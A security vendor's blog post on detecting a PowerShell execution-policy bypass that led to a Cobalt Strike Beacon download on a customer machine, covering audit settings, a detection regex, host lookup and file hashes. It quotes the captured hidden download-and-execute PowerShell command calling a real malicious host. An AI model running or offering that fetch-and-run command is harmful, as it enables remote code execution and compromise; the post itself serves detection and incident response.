The other day here at Blumira we had a customer detection trigger that caught our attention. This was a detection I created a while back with zero false positives so far for a PowerShell execution policy bypass attempt. Attackers and malicious software can leverage the PowerShell execution policy setting to execute code on systems without administrative access.
Digging deeper into the attack, we can see some interesting files from a popular hacking tool called Cobalt Strike. In this article, we’ll cover how we were able to detect the attack, details about other information we were able to obtain on the compromised host, and what Cobalt Strike is.
One of the main sources of rule and alert creation we use is the research that the offensive security community provides. Along with the everyday findings and creations of TTPs (Tactics, Techniques, & Procedures) from potential attackers, there are also a large set of alerts that have been used to detect malicious activity for years. In the blog post “15 Ways to Bypass the PowerShell Execution Policy,” Scott outlines the different ways an attacker or malicious software can bypass this feature.
The PowerShell execution policy is the setting that determines which type of PowerShell scripts (if any) can be run on the systems. By default, it is set to “Restricted.“ While this setting is not meant to be a security control, it is used often by attackers and malicious software to execute code on a system without having administrative-level access.
Other information regarding powershell TTPs can be found in the Mitre ATT&CK Framework:
There are several different ways to alert on PowerShell commands and scripts, including third-party software. It is also fairly straightforward to enable it in Microsoft Group Policy. To enable it in a Group Policy Object (GPO), configure the following settings:
After the advanced audit settings are configured, an attempt at bypassing the execution policy would end up showing up in the Event Viewer under Applications & Service logs > Microsoft > Windows > PowerShell > Operational as EventID 4103 shown below:
Below is attempt #4 from the Netspi blog mentioned above:
“Download Script from URL and Execute with Invoke Expression
This technique can be used to download a PowerShell script from the internet and execute it without having to write to disk. It also doesn’t result in any configuration changes. I have seen it used in many creative ways, but most recently saw it being referenced in a nice PowerSploit blog by Matt Graeber.”
When looking at the different ways that the execution policy can be bypassed, we were able to pull out all of the XML as well as the parsed logs through Blumira to create a couple regexs that would cover a majority of the attacks. Now don’t be too critical of this next part. I’m no regex master, but hey – it worked. Here’s a portion of the regex:
Host Application = .*((-(Enc|command Write-Host|nop |noprofile))|ExecutionPolicy (UnRestricted|Bypass|Remote-signed)|DownloadString
OR
ParameterBinding\\(Set-ExecutionPolicy\\): name=.ExecutionPolicy.; value=.(UnRestricted|Bypass|Remote-signed)
One of the major features we’ve built into Blumira’s platform are customized playbooks attached to each security finding of malicious or anomalous activity. They enable the customer to track if an administrative event or some other purposeful action has triggered a finding. In this case, our customer indicated that this was *not* an administrative action, and were directed on next steps to take.
The Blumira finding is listed below. In this alert, you can see the commands run at the bottom of the screenshot under “Matched Evidence.”
We see the command:
powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('https://js.choosebudget.com:443/sc\u0441'))\
This is the same command we tested above after enabling advanced auditing; just with a malicious file as the URL instead.
If we break down the PowerShell command itself, it looks like this:
The rest is the listed download string for the webclient to pull files down locally.
At this point, we know that the client downloaded a file from a specific URL through PowerShell. What else can we find out about this file by looking at the server it came from?
Nslookup js.choosebudget.com
Non-authoritative answer:
Name: js.choosebudget.com
Address: 104.161.32.85
According to Shodan, this host is located in Phoenix at a hosting provider, however the hostname is dy.huanx9t.cn (the top-level domain for China), and listening on ports 22, 443, and 50050.
The downloaded file ends up being a .tgz file (archived zipped file) and the hash shows as being a Cobalt Strike file.
Cobalt Strike is software that was created for Adversary simulations and red team operations. While it’s not commonly seen outside of red team or penetration test engagements, it’s also not unheard of for portions of this and other offensive team software to be used for malicious purposes. Specifically, the Beacon module of Cobalt Strike in this instance was used. It is the portion of the application that can execute PowerShell scripts, download files, and spawn other payloads.
After some additional investigation, we can see additional files from the same host all with the same MD5 hash:
➜ md5sum jschoosebudget.tgz
c59d2934eb5f452495a095e966958c05 jschoosebudget.tgz
➜ md5sum metadataupdate
c59d2934eb5f452495a095e966958c05 metadataupdate
➜ md5sum SchedulerTransfer
c59d2934eb5f452495a095e966958c05 SchedulerTransfer
➜ md5sum shopping300.mdb
c59d2934eb5f452495a095e966958c05 shopping300.mdb
➜ md5sum z__82D6h
c59d2934eb5f452495a095e966958c05 z__82D6h
In Blumira’s playbook for this threat detection (also known as the workflow), we provide two options for the customer to complete – since it was marked as “not an administrative action,” we offer a recommended threat mitigation, seen below:
That mitigation is:
“Perform an audit of the device and pay close attention to any PowerShell commands that have been executed by examining logs around this time of the event. Remove the device from the network if possible, and perform any internal incident response procedures.”
This recommended mitigation comes from Blumira’s own internal security team to help customers quickly respond to detected threats – regardless if they have robust security teams of their own on staff. This is just one example of the many types of threats we detect in near real-time.
